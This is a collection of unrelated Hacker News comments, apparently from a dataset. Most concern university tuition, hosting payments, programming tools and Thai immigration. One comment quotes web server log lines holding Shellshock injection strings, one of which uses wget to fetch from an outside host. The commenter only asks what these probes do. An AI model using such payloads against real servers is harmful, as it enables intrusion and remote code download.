skysight-inc/HackerNews huggingface dataset:
There seems to be a confusion of words here. You seem to make a difference between tuition and tuition fees while the Wikipedia [1] article suggests that those terms mean the same in different English dialects.

As for Germany: almost all public Universities still take fees (usually around 100 Euros per semester, tax refundable). Tuition was a new thing and is what has been abandoned again.

1: http://en.wikipedia.org/wiki/Tuition_payments
So I just wasted a lot of time to find out they only accept credit cards? Not debit cards, not PayPal, nor anything else?

Wasted my time. GFY Atlantic.net
Yes, you end up paying 20k a year instead of 40k a year.
Disturbingly that article doesn't mention the word 'massage' anywhere. Which is kind of important.
According to the Alien Working Act of 2008 quoted in the article even using a washing machine would be considered work by Thai Law:

“work” means engaging in work by exerting energy or using knowledge whether or not in consideration of wages or other benefit;
From an European point of view, the US university system is crazy.

In many European countries the value of state universities over private ones is very high regarded, that except for a few well renowned exceptions, private universities are seen as places where you buy a title, not earn one.

As they mostly get the students that weren't able to go through the national exams for the state universities.
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Disappointing how this author's hyper-criticism of Python is not applied equally to Rust, presumably because Rust is newer and this author has other bones to pick with Python. If Rust has a problem, he will sell that it is charming (e.g. "it makes you think", "you just need to think differently", "needs more love"). The glass will be full any day now! But if any new effort in Python is not absolutely perfect or just not to his personal taste, he will sell that it's because Python is a horrible pile of shit because nobody listens to him. The glass isn't only half empty, it is also too hard, too brittle, too cold and actually also too warm and it turns out that not even its transparency is a good feature.

After several years of this routine, it has become very old. For God's sake, if your ex is so bad then just move out of her house already. Don't just keep eating the dinners she prepares and complaining about them and saying you'll move out. Actually move out and stop talking about her all the time. Yet another article about how you can't stand how she clips her nails is not helping anyone.
There's a big difference between no tuition fees and "free" education. All this means is that the cost of education is passed on to all tax payers.

Now this can be justified, there is utility in having an educated workforce and society. However when everyone is paying there is a need to have a decision about how many people need that education to provide the benefits everyone gets. The UK is seeing these problems with 40% of school leavers going to university. There aren't enough jobs for graduates and we are way past the point of marginal returns in terms of social or cultural advancement.

Personally I much prefer the idea of fees and student loans. Not US style versions of either. In the UK they are effectively a graduate tax that you may pay off in time, they don't harm your credit rating and repayments are a percentage of your income about a relatively high amount (close to the average salary).
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Highly doubt it. The amount of hoops you'd have to jump through to get services with this guys is not worth it. The time I wasted trying to sign up for 10 of these cost me more than the cost of the servers.

Terrible experience.
If you have a look at sorting networks, they actually do reduce an exponent. Goes from nlg(n) to just lg(n). See [1], for example.

Saying that, I feel like I'm trying to mislead, though. This requires nlg(n) comparators, so you still have to pay for it somehow. And I doubt we are going to see that many comparators on any piece of kit any time soon. For large n, anyway. (Though, seeing this can be done with a gpu, it does seem that you can hit rather large arrays already.)

[1] http://en.wikipedia.org/wiki/Batcher_odd%E2%80%93even_merges...
So given the option, you don't want their intervention if you're getting attacked?
Not discussing that is a weakness of the article. The algorithm addresses performance issues caused by the IO bottleneck, not an algorithmic deficiency with common merge-sort implementations.

The merits and deficits of trading-off O(n)[Memory] growth for 0(log n)^2[Time] growth are worthy of discussion if it is anticipated that people will implement the algorithm in production code. There's a case for looking at it, certainly, on constrained systems, but such systems may not have processors with the execution pipeline sophistication of an Intel i7 quad-core.

Which of course is just a round about way of saying, the article doesn't indicate domains in which the algorithm may be relevant and not relevant.
The Life of an HTTP Request
If this affected non-jailbroken devices they wouldn't be wasting their efforts using it against protesters. Something like that would be extremely valuable.
It really depends on your expectation. Back when I created the Arora browser (2008) one common complaint was how starting up a new browser (firefox,ie,safari) took so long so no one should have cared about the startup speed. But as a developer I cared because I was also a user and regularly kept the load time under a second and much more closer to 100ms (with Qt in memory). As you approach commodity status (like browsers were back then) load times are one of the easy things that cause you to lose users. It was a pretty basic optimization problem. Defer loading of assets that are not needed, tricks like showing something to the user even if they can't actually interact with it for another 15ms, removing expensive computation that can occur seconds/minutes later (does the disk cache really need to check for expired stuff right now on startup?) This was regularly tested with a "big data" such as a large disk cache, a history measured in years, etc. After those architectural decisions were made then it was basic profiling and fixing hotspots, improving algorithms and going beyond my application I went through and fixing issues in underlying libraries such as in Qt where I made fixes which not only improved my startup time, but every single Qt application.

Startup speed matters, sometimes a lot, sometimes not so much. It is both interesting because optimizations are a common problem in our field and the different approaches that can be taken are interesting to discuss, but it is also interesting taking a look at how this particular project cares about startup speed and what they have decided to prioritize over it (the social / project management aspect).
> Can't make out the difference between the purple coloured tiles. Color-blindness?

Neither can I, and I'm not color blind. I think it's just approaching the limits of human vision, in conjunction with your retina being "stained" by the previous picture (look away from the screen and back at it and you'll do better). Tetrachromats might fare better in this scenario.
Off by one errors are enough of a problem without having to remember that lua decided [1] means something other than what [1] means in almost every other language, so plan accordingly.

It's not critical, but it does matter.
I wouldn't think that this would work since it really is a great site for low number of visitors. Also this is a pre-paid plan.

Try out the price estimator: https://www.nearlyfreespeech.net/estimate
Has there been any extensive research done on relationship between university fees and social mobility?

On one hand it seems obvious that if you reduce costs of attending university you remove a barrier that would prevent economically disadvantaged people from attending.

But on the other hand, university students, especially those at the best universities disproportionately come from better economic backgrounds and this seems to be true everywhere. In this case it doesn't seem fair to tax people who are poor to pay for something that is mainly of benefit to the rich.

In the UK we have a student loan system where students do not have to pay back loans unless they earn over a threshold amount, so in theory there is nothing to prevent a poor person going to university regardless of how high the fees are.
> I don't find this surprising or depressing.

What? It might not be surprising, but how is it not depressing?
Wow, that's sort of surprising to me. Perhaps just due to having some RE background, though maybe it's not stupid or amateur. It may actually be a better strategy if you want to minimize time in the store (no separate trip to steal the POS software first) and effort (no reverse engineering necessary).
Maybe they have some chinese obj-c to english obj-c compiler then they just run it through clang.

Or maybe he meant "written in China".
"routinely" is weasel words - how frequently are we talking about here?
Some of it is flimsy, talking about Scott Forstall who is no longer there, and a guess about sleeping habits. Other than that it doesn't sound as bad as some think.
The $1,200 Machine That Lets Anyone Make a Metal Gun at Home
Instead of FastCGI just speak HTTP. And for those there are libraries already.
The federal and state universities here in Brazil have always been free. In fact, most people here use the terms "public" as a synonym for "free of charge", when talking about education. I think this is great, but it is not "education for everyone" as sometimes it's touted to be.

The problem we have is not about paying for college education, but in being able to pass the entry exams. Even though the public higher-education institutions are free of any tuition fees, an enormous part of their students is still composed of upper-middle-class kids, whose parents could afford the high-priced private middle and high schools.

It's great we have free public schools, but the inclusion they should provide is still a long ways of becoming true.
Want advice? Accept global payments, not just American payments. The internet is global. Want more business? Sort your damn payment structure out. Yes you can have my contact details, I'm not a criminal, but you can FO if you think I'm going to jump through hoops to PAY YOU money.

Unless you sort that out, you're stopping people from buying from you, and that my friend, is your biggest mistake.
It used to be pretty reasonable. When I attended Ga Tech (a state school) a couple decades ago, it was a few thousand a year to cover tuition, books, food, dorms. I can't remember tuition exactly, but I think it was in the neighborhood of $1500-1800 a year. (By comparison, MIT and Harvard were in the neighborhood of $16,000 a year at the time).

Then there was a period where Georgia had a lottery-funded scholarship that would cover your tuition fully at state schools if you kept a good GPA. I've heard in recent years that it's slipped due to declining lottery revenues, but I'm not sure.

Looking now, I see it's $9,000 a year just for tuition. An estimated $25,000 per year overall. Big increase, though it has been a long time.

That's a lot of money for in-state attendance. When I went it wasn't really a burden on most people to cover their kid's cost at Ga state schools. Now I think it really would be.
This is flat out false.

What of a perfectly designed bulb without a fixture that holds it correctly for electrical contact?

What if no cord is attached to that fixture?

What if the cord is not plugged in?

What if the cord doesn't have a plug that fits the outlet?

What if the internal wiring of the building doesn't support the bulb's voltage?

What if the electrical grid is not attached to the building?

What if the transformer that turns the grid voltage to one the bulb can use has blown or doesn't do its job?

What if the grid is overloaded, or not correctly handling the appropriate load for the time of day and electrical demand?

What if the power plants themselves are not producing the planned and coordinated output?

What if the supply of coal or oil to power the plants is disrupted?

And on and on.

The bulb absolutely depends on the stability and function of systems surrounding it; systems that are hundreds of millions of times larger and more complex than the bulb itself. The bulb's success is due to both its intrinsic properties and quite literally hundreds of external factors that you cannot take for granted.

The pervasive ignorance of this seemingly obvious facet of our daily lives is astounding.

More astounding is that people fail to apply it to individual people—or to themselves—equally. It applies equally—without question.w
Yup, I always thought about top US universities as rich kids clubs.
Stoats are quite a bit smaller than ferrets though, 25~30cm and 250g versus ~50cm and ~1.5kg
Not to sound like a plug for Jetbrains, but for everything IntelliJ does, I find it incredible that it loads so quickly, and the experience is pretty much fluid. VS2008-2013, Eclipse, Netbeans, Qt Creator and others all seem like pigs compared to IntelliJ. The thing that really blew me away and made me a true convert was the jruby+ruby support, and the jruby step-through debugger
Ask HN: How to reach YC alumni willing to help with YC app?
The title says it. Some advice on the web suggests that it is ok to ask YC alumni for help with app. I've emailed two alumni: one promised to review our app(but so far didn't) and another one didn't respond yet.

I want to emphasize that I am 100% ok with this, they are busy running their startups, and I'm basically just trying to distract them.

Nevertheless, it would be great if someone familiar with YC application process reviewed it.

So, HN, how do I find not busy YC alumni? Should I try to reach those who exited already?
Hi Joe,

We're always in for a good discussion (and even better: good arguments)on the reasons why we do what we do. How do we serve our long term goals best? That's the question we'd like to answer.
No, but that's would also defeat the purpose. The idea of results is that you know from looking at the code what can fail. If you remove that information you might as well use exceptions.
They don't harm your credit rating, but...

* You have to declare them when trying to get a mortgage (or any other loan) and so may reduce the amount you are leant.

* If you go bankrupt - the loan does not go away.

* Want to launch a funky startup? Now the graduates you want to work for you start demanding more money because a higher percentage now goes back to the Student Loan Company.

I fought hard against the introduction of fees when they were introduced in the UK. In 1998 they were set at £1k a year - we said it was a slippery slope and were dismissed as paranoid. Fees in the UK are now up to £9k per year.
The economy is not zero sum and educated people on average make more. So, the net cost over time for subsidizing education is probably a small fraction of the sticker price. Or possibly it ends up paying for it's self.
Which colleges send grads to the best startups?
Some interesting results here:

8.37.217.196 - - [30/Sep/2014:14:25:48 +0000] "GET http://www.example.com/ HTTP/1.1" 200 57344 "() { :;};echo content-type:text/plain;echo;echo QwaAqdKyMkdAiaZBos;echo;exit" "() { :;};echo content-type:text/plain;echo;echo QwaAqdKyMkdAiaZBos;echo;exit"

93.103.21.231 - - [30/Sep/2014:20:23:00 +0000] "GET http://example.com/cgi-sys/entropysearch.cgi HTTP/1.1" 301 0 "-" "() { :;}; /usr/bin/wget http://taxiairportpop.com/s.php?s=http://example.org/cgi-sys...

Not sure what the first one is doing, but the second one seems to be an exploit in a search engine for self-hosted websites and apparently a part of cpanel (or at least deployable via it).
After one of Mark Edmundson's op ed pleas for students and parents to consider college as non-vocational, I had a look at the University of Virginia's tuition and fees from the late 1970s to recently. Comparing this against the minimum wage, I found that a student could have earned the 1978-1979 tuition and fees working a bit over eight weeks at the minimum wage. For the 2011-2012 school year, it was more than 38 weeks.
It is sensational.

The truth is also that we know fairly little about Ebola. It's fairly recent that we've known any animal vectors for it. It is very effective at killing but until now it has been very isolated. We know it requires fluid exchange but that's a somewhat vague concept to many, is a sneeze in an office a fluid exchange? I mean, that's good enough for flu... I'm not sure that it's known how bats (a vector) exchange or transmit it. Just a lot of unknowns, the idea that the North American bat population could start carrying it is a little scary.

We will stop it but it got a lot closer to home and if a dozen other contract it from this case, I'd say the sensationalism and paranoia are warranted.
This discussion always makes the libertarian cream of the crop rise to the top of the vat.

You are wrong in nearly every sentence; I don't have the time or patience to convince you, I wasted 5 years of my life arguing with a libertarian already. Please consider the wider systems surrounding each person's condition. They are not fake.
I have no idea what this comparison is supposed to mean. Where does journalism come from? The Department of Journalism?
No dice has been cast. Things simply revert back to how they always have been. One important thing to know is that German universities are not handled by the federal government but on a state level (as all things educational) but there is a broader framework to keeps things aligned.

Only some states decided to demand tuition for their universities in 2006 (some later) and most quickly stopped again after a few years.
Akerl speaks the truth. We're good to go.
Indeed it's usually wealthy countries that tends to have the strictest immigration laws. Many poorer countries will even let you buy full residency for a near pittance by western standards.
HORNED MAN SKELETAL,SAVE AS ITS RARE
I think it's not "a cabal problem", in the sense of cabal being somehow awful and "doing it wrong" where other systems "do it right".

The symptoms are a result of the confluence of a few things (mentioned elsewhere in this discussion), some of which are quite positive, which make the problem substantially harder. Which isn't to say there's no problem, or that nothing could or should be better - I'm glad it's getting attention and I'm glad people have ideas for improvements, though both of those have been true for a while.
Chloride. The pool water is chlorinated.
I would check into that startup time for Intellij -- I am similarly on a brand new macbook pro (16gb ram, ssd) and my largest project takes a few seconds tops. Only the maven auto-importer has ever slowed me down to ~10 seconds, but by then the editor was fully loaded.

OK I see your edit now
You're correct. I went to a UC and they didn't have tuition, but there was an "education fee" of several thousand dollars.
But if they do make more, does it not make sense for the university grad to pay that cost after they have graduated?
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Agree 100%, this is exactly what happened in the UK when they increased the upper limit for tuition fees.
So this had nothing to do with Shellshock then?
This is EXACTLY the same situation as here in Brazil. Very few well renowned private universities, but the very best ones are the state universities.
Wouldn’t trade places
The criticisms of Python covers about one sentence, and they're all to the point. I don't see how you can turn a well-written post 99% about Rust into "hyper-criticism of Python".

> he will sell that it's because Python is a horrible pile of shit because nobody listens to him

I'm not sure we're talking about the same Armin here...
Yes, Virginia, the government can track your movements.
Ve sounds too much like a caricature German saying "we".
Seconding. The book revolutionized my understanding of Ruby, and inspired me to create a whole visual novel framework: https://github.com/thirdtruck/rubyai.
> Fun little hobbyists

http://search.cpan.org/~simon/

http://shop.oreilly.com/product/9780596004569.do

http://www.amazon.com/Beginning-Perl-Programmer-Simon-Cozens...
I tried to do the same thing with Hydra/Mjolnir[1], but failed miserably and burnt out completely. Hopefully I can work up the energy to finish my Mjolnir successor and sell it, but Bogdan[2] tells me it won't make any money.

[1]: http://mjolnir.io/

[2]: http://kapeli.com/dash
Non-paywalled articles on this:

http://www.fchornet.com/news/all-german-universities-will-be...

http://www.dazeddigital.com/artsandculture/article/22027/1/g...
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From TFA:

"Divide the functionality into open source and commercial parts. Use a GNU license and a commercial license for the respective parts."

I really don't want to be That Guy, but this sentence takes us away from full-time open source. At least part time is spent working on source that's not open. "Open core" is the most common term for this hybrid strategy. I'm not going to get into the debate about whether that's a valid strategy, but it does make the headline misleading.
Ah, that makes sense. It's still the case, but I guess it may be going away once implicits are released.
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Update: The last of us volunteered to come to immigration on our own. We drove there unescorted. Turns out they thought we were employees of Punspace which is untrue. We're all still here but good news so far is that they aren't targeting digital nomads.

Update: At Thai immigration near the airport, everyone got interviewed but were treated extremely kindly. It ended up taking a few hours and felt like a big waste of time, but nothing bad actually happened. The owners of PunSpace were even nice enough to bring us lunch. - See more at: http://www.johnnyfd.com/2014/09/live-updates-immigration-cra...
Good answer. I'm not criticizing testability, but passion and intellectual freedom just seemed at odds to me.

A better discussion would be, how did the language and tools get chosen? Is it a drive for some uniformity only? Different tools are good for different purposes of course, and I'm guessing in your solution there are different problem domains, not all served by a single choice of tool.

A good question to ask during the interview I guess.

Good luck with your new direction!
All of those things act like any other tax. That's all it is, a tax you may one day stop paying. A mortgage is dependent on your ability to repay, i.e. your net income, if the income tax rate went up then mortgage companies would also reduce the amount they would lend you.

The alternatives are either a graduate tax - which has all of the issues you mention, except you never stop paying it, so potentially pay far more than the cost of your education - or general taxation in which case the people who didn't go to university (generally less well off) are paying for your degree.
I get that they're incredibly low cost, but their MySQL support (MariaDB 5.3 with InnoDB disabled by default) seems not that great to me. Also, they say that their optional InnoDB support uses "MariaDB's advanced high-performance XtraDB implementation" -- XtraDB is made by Percona, not MariaDB.
When I lived in Vietnam I paid more in VAT alone than 50% of a typical Vietnamese college graduate's income. It would be totally ridiculous to say I was mooching off the taxpayers of Vietnam.